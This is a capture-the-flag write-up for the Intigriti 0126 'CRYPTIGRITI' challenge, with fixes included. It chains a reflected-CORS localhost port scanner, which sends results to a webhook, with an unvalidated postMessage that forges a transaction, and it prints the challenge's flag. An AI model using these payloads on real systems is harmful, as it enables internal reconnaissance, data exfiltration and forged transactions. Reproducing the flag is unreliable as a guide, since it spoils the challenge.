# Write-up: Intigriti 0126 Challenge - From CORS Scan to postMessage Takeover ## 1. Initial Analysis & Application Flow The target application, **CRYPTIGRITI**, is a modern-styled mock cryptocurrency trading platform. Before searching for vulnerabilities, it was essential to understand the application's legitimate user flows, especially the transaction process. ![image](https://hackmd.io/_uploads/H1n42KIU-l.png) **Legitimate Transaction Flow:** 1. A user decides to buy a currency and is taken to the `checkout.html` page. 2. The `checkout.html` page loads a `payment-gateway.html` page inside an `<iframe>`. 3. `checkout.html` uses `postMessage` to send an `init` message to the iframe, containing the transaction details (currency, amount, price). 4. The `payment-gateway.html` iframe, after simulating the payment process, sends a `submitTransaction` message back to the parent window (`checkout.html`). 5. The `checkout.html` page listens for this message. Upon receiving it, it makes a final `POST` request to the `/api/transaction` endpoint to record the transaction on the backend. **Discovering the Goal:** Initial reconnaissance of the static files (`home.html`, `dashboard.html`, `js/common.js`) also revealed a hidden "flag banner" functionality. The `checkAuth()` function in `js/common.js` fetches user details from an `/api/me` endpoint. If the response contains a `flag` property, it is displayed to the user. Further analysis showed that the platform deals with Bitcoin (BTC), Monero (XMR), and an exclusive currency named **`1337COIN`**. The presence of this unique coin suggested that acquiring it was the key to unlocking the flag. The main goal was therefore shifted from a simple XSS to finding a way to force a transaction of `1337COIN`. --- ## 2. Formulating the Attack Path: Connecting the Clues While the individual vulnerabilities are not overly complex, the difficulty in this challenge lay in connecting several subtle clues to uncover the attack path. **Clue #1: The Sandboxed Admin Bot** The `security.html` page contained a critical hint: > The admin bot runs in a sandboxed environment This is a crucial piece of the puzzle. A sandboxed browser can still typically access its own local network stack, suggesting the bot might be able to visit services running on `localhost`. This prompted the idea of shifting the attack surface from the public challenge domain (`challenge-0126.intigriti.io`) to the bot's local machine. **Clue #2: The Dynamic CORS Policy** A `curl` request to the challenge server, including an arbitrary `Origin` header, confirmed that the server dynamically reflects this origin in the `Access-Control-Allow-Origin` response header. ```sh $ curl -I -H "Origin: https://attacker-example.com" https://challenge-0126.intigriti.io/ HTTP/2 200 access-control-allow-origin: https://attacker-example.com vary: Origin access-control-allow-credentials: true ... ``` **Connecting the Clues** Standard browser security (Same-Origin Policy) would normally prevent a script on `attacker-example.com` from reading the response of a `fetch` request to `http://localhost:8080`. The response would be "opaque," making it impossible to distinguish a closed port (network error) from an open port (valid HTTP response). However, because the server reflects the `Origin`, the browser permits the script on the attacker's site to read the response from `localhost`. This allows us to build a reliable port scanner. The combination of these clues led to the conclusion that the first step of the exploit *must* be to scan the bot's `localhost` to find the running service. --- ## 3. The Vulnerability Chain: A Step-by-Step Exploit The exploit path requires chaining two distinct vulnerabilities. ### Part 1: Internal Port Scanning via Permissive CORS As established, the server's dynamic CORS policy allows us to build a port scanner to find the internal service. ![image](https://hackmd.io/_uploads/ByduhK88Ze.png) #### PoC: Port Scanner Payload The following script will iterate through ports 8000-9000. If it finds an open port serving HTTP content, it exfiltrates the port number and the first 500 characters of the response to a webhook. ```html <!DOCTYPE html> <html> <head> <title>Scanner</title> </head> <body> <script> const WEBHOOK_URL = "https://webhook.site/your-webhook-url"; navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({ status: "started", userAgent: navigator.userAgent })); async function scan() { const startPort = 8000; const endPort = 9000; const batchSize = 200; for (let i = startPort; i <= endPort; i += batchSize) { const tasks = []; for (let port = i; port < i + batchSize && port <= endPort; port++) { tasks.push(checkPort(port)); } await Promise.all(tasks); } navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({ status: "finished" })); } async function checkPort(port) { const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), 1500); try { const response = await fetch(`http://localhost:${port}`, { mode: 'cors', credentials: 'include', signal: controller.signal }); const data = await response.text(); navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({ found: true, port: port, content: data.substring(0, 500) })); } catch (err) { } finally { clearTimeout(timeout); } } scan(); </script> </body> </html> ``` ### Part 2: `postMessage` with No Origin Validation The core vulnerability lies in the `checkout.html` page. This page implements a `window.addEventListener` for `'message'` events to handle transactions initiated from an `iframe`. However, it critically fails to validate the origin of the message. #### Vulnerable Code Snippet (`checkout.html`) This is the vulnerable code block, which listens for messages from any origin and processes them as valid transactions. ```javascript // VULNERABILITY: Listen for postMessage from payment gateway (any origin!) window.addEventListener('message', async function(event) { // CRITICAL VULNERABILITY: No origin validation! // This allows any website to send transaction data if (event.data.type === 'submitTransaction') { const transactionData = event.data.transaction; // ... code to process the transaction follows } }); ``` This flaw allows any website to open `checkout.html` and send a crafted `postMessage` to trigger a transaction with arbitrary parameters. --- ## 4. Full Proof of Concept (PoC) By combining these two vulnerabilities, we can construct the final attack. #### Attack Steps: 1. **Host the port scanner** (from Part 1) and send the URL to the bot. The bot visits the page, and the internal port is revealed to the attacker via the webhook. 2. **Host the final exploit payload** below on an attacker-controlled server. 3. **Send the URL of the final exploit** to the victim. When the bot opens this page, the script will: a. Open the checkout page in a new window, targeting the correct local port: `http://localhost:8080/checkout.html`. b. Send a malicious `postMessage` to that window, instructing it to execute a transaction for `1337COIN`. #### Final Exploit Payload: ```html <script> // The port discovered in the first step const BOT_PORT = 8080; // Open the checkout page var target = window.open( `http://localhost:${BOT_PORT}/checkout.html?currency=BTC&price=1`, '_blank' ); // Wait for the page to load, then send the malicious message setTimeout(function () { if (!target) return; target.postMessage( { type: 'submitTransaction', transaction: { currency: '1337COIN', amount: 1, toAddress: '16d3871910ae088af0f20ebd5f90bf4e2d' // Attacker-controlled address } }, '*' // Target any origin ); }, 2000); </script> ``` Upon receiving the message, `checkout.html` processes the transaction. A POST request to /api/transaction is issued and the backend awards the `1337COIN` to the user, the `/api/me` endpoint includes the flag, and the banner is displayed. ## 4.5 Deep Dive: Why window.open() Works But iframe Doesn't - The SameSite Cookie Distinction ### The Critical Browser Security Model While the exploit leverages both a permissive CORS policy and unvalidated `postMessage` listeners, there's a **third layer** that makes the attack possible: the target application's cookie configuration. Understanding why `window.open()` succeeds where an `<iframe>` would fail reveals a subtle but critical security boundary. ### Understanding SameSite Cookie Attributes Modern browsers implement the **SameSite** cookie attribute to defend against Cross-Site Request Forgery (CSRF) attacks. However, the three modes offer different protection levels: #### SameSite=Strict ``` ✓ Cookies sent in: - Same-site top-level navigation (user clicks link) - Same-site form submissions ✗ Cookies NOT sent in: - Cross-site iframe requests - Cross-site fetch/XMLHttpRequest - window.open() from different origin - Cross-site form submissions ``` #### SameSite=Lax (Default in Modern Browsers) ``` ✓ Cookies sent in: - Same-site top-level navigation (user clicks link) - window.open() from different origin ← KEY DIFFERENCE - Safe HTTP methods (GET) in cross-site context ✗ Cookies NOT sent in: - Cross-site iframe requests - Cross-site fetch/XMLHttpRequest - Unsafe HTTP methods (POST, DELETE) from cross-site ``` #### SameSite=None (Requires Secure flag) ``` ✓ Cookies sent in: - ALL cross-site requests (iframe, fetch, window.open, etc.) - Requires Secure flag (HTTPS only) ``` ### Why This Challenge Likely Uses SameSite=Lax The vulnerable application probably configures its session cookies like this: ```javascript // Typical (but vulnerable for this scenario) configuration res.setHeader('Set-Cookie', 'token=eyJhbG...; SameSite=Lax; Secure; HttpOnly'); ``` `SameSite=Lax` is chosen because it: - Allows normal user workflows (links, bookmarks, history) - Protects against simple CSRF attacks - Is the **default behavior** in modern browsers if not specified However, **this default provides insufficient protection** against the attack in this challenge. ### Attack Flow: How SameSite=Lax Enables the Exploit ``` Step 1: Bot visits attacker's page ┌─────────────────────────────────────────┐ https://attacker.com/exploit.html ✓ Bot is authenticated to localhost ✓ sessionId cookie is set (SameSite=Lax) └─────────────────────────────────────────┘ Step 2: Attacker's JavaScript calls window.open() ┌──────────────────────────────────────────────────────────┐ window.open('http://localhost:8080/checkout.html') Browser sees this as: "User is opening a new window to a URL" = Top-level navigation event └──────────────────────────────────────────────────────────┘ Step 3: SameSite=Lax Permits Cookie Inclusion ┌──────────────────────────────────────────────────────────┐ Request to http://localhost:8080/checkout.html Browser checks SameSite=Lax rules: "Is this a top-level navigation?" → YES ✓ → token cookie IS INCLUDED └──────────────────────────────────────────────────────────┘ Step 4: checkout.html Loads Authenticated ┌──────────────────────────────────────────────────────────┐ http://localhost:8080/checkout.html ✓ Loaded in new window (can receive postMessage) ✓ Bot's session is intact (cookie included) ✓ Ready to process transactions └──────────────────────────────────────────────────────────┘ Step 5: postMessage Injection (No Origin Validation) ┌──────────────────────────────────────────────────────────┐ target.postMessage({ type: 'submitTransaction', transaction: { currency: '1337COIN', amount: 1, toAddress: 'attacker-address' } }, '*') ✗ No origin validation → Message accepted └──────────────────────────────────────────────────────────┘ Step 6: Backend Processes with Bot's Credentials ┌──────────────────────────────────────────────────────────┐ POST /api/transaction ✓ Authenticated as bot user (sessionId cookie) ✓ Backend processes transaction ✓ 1337COIN awarded to bot account ✓ Flag revealed via /api/me └──────────────────────────────────────────────────────────┘ ``` ### Why an iframe Would Fail (The Critical Distinction) If the attacker attempted to use an `<iframe>` instead: ```javascript // This approach would NOT work: const iframe = document.createElement('iframe'); iframe.src = 'http://localhost:8080/checkout.html'; document.body.appendChild(iframe); ``` **The failure chain:** ``` Step 1: iframe Element Created ┌──────────────────────────────────────────────────────────┐ <iframe src="http://localhost:8080/checkout.html"> └──────────────────────────────────────────────────────────┘ Step 2: Browser Interprets as Cross-Site iframe Request ┌──────────────────────────────────────────────────────────┐ Request to http://localhost:8080/checkout.html Browser sees: From: https://attacker.com (parent window) To: http://localhost:8080 (iframe) Context: iframe (NOT top-level navigation) └──────────────────────────────────────────────────────────┘ Step 3: SameSite=Lax Blocks the Cookie ┌──────────────────────────────────────────────────────────┐ Browser checks SameSite=Lax rules: "Is this a top-level navigation?" → NO ✗ "Is this a safe HTTP method (GET)?" → YES "But context is iframe, not top-level" → BLOCK ✗ → sessionId cookie is NOT INCLUDED └──────────────────────────────────────────────────────────┘ Step 4: checkout.html Loads Unauthenticated ┌──────────────────────────────────────────────────────────┐ http://localhost:8080/checkout.html ✗ Loaded in iframe (postMessage still possible) ✗ NO bot's session (no cookie) ✗ User is not authenticated └──────────────────────────────────────────────────────────┘ Step 5: Backend Rejects Transaction ┌──────────────────────────────────────────────────────────┐ POST /api/transaction ✗ Not authenticated (no sessionId cookie) ✗ Backend returns 401 Unauthorized ✗ Transaction FAILS ✗ Exploit is DEFEATED └──────────────────────────────────────────────────────────┘ ``` --- ## 5. Mitigation ### Origin Validation in postMessage Listeners The most critical fix is to implement strict origin validation in the `message` event listener. The current code accepts messages from **any origin**, which is a fundamental security violation. #### ✅ Secure Implementation **Option 1: Simple Origin Whitelist (Recommended)** ```javascript const TRUSTED_ORIGIN = 'https://challenge-0126.intigriti.io'; window.addEventListener('message', async function(event) { // Validate origin against whitelist if (event.origin !== TRUSTED_ORIGIN) { console.error('Untrusted origin attempted postMessage:', event.origin); return; } ... ``` **Option 2: Additional Source Validation (Defense in Depth)** ```javascript const TRUSTED_ORIGIN = 'https://challenge-0126.intigriti.io'; const PAYMENT_GATEWAY_IFRAME = document.getElementById('paymentFrame'); window.addEventListener('message', async function(event) { // Validate both origin AND message source if (event.origin !== TRUSTED_ORIGIN) { console.error('Untrusted origin:', event.origin); return; } // Ensure message comes from the specific iframe we trust if (event.source !== PAYMENT_GATEWAY_IFRAME.contentWindow) { console.error('Message source is not from trusted iframe'); return; } if (event.data.type === 'submitTransaction') { const transactionData = event.data.transaction; await processTransaction(transactionData); } }); ``` --- ### Implement Restrictive CORS Policy The server reflects **any** origin in the `Access-Control-Allow-Origin` header, enabling port scanning attacks. A restrictive CORS policy is essential. #### ❌ Current Vulnerable Policy ``` Access-Control-Allow-Origin: * (or dynamically reflected) Access-Control-Allow-Credentials: true ``` #### ✅ Secure CORS Configuration **Node.js/Express Example:** ```javascript const express = require('express'); const cors = require('cors'); const corsOptions = { origin: ['https://challenge-0126.intigriti.io'], // Only this domain credentials: true, methods: ['GET', 'POST', 'PUT', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization'], maxAge: 3600 }; app.use(cors(corsOptions)); // Alternative: Manual header configuration app.use((req, res, next) => { const allowedOrigins = ['https://challenge-0126.intigriti.io']; const origin = req.headers.origin; if (allowedOrigins.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true'); res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization'); } next(); }); ``` --- ## 6. Additional Findings: Stored XSS in `toAddress` During the analysis, a secondary vulnerability was discovered: a straightforward Stored Cross-Site Scripting (XSS) vulnerability. Although not required for the primary exploit path, this finding is worth noting as it demonstrates a separate security weakness in the application. The `toAddress` field of a transaction is not properly sanitized before being rendered in the live transaction feed on the `marketwatch.html` page. An attacker can submit a transaction with a malicious JavaScript payload in the `toAddress` field. When any user visits the `marketwatch.html` page, the script will be rendered as part of the transaction list and execute in their browser's context. --- ### Final Flag `INTIGRITI{019bd594-b91d-713c-b7b9-7c8aa5def220}`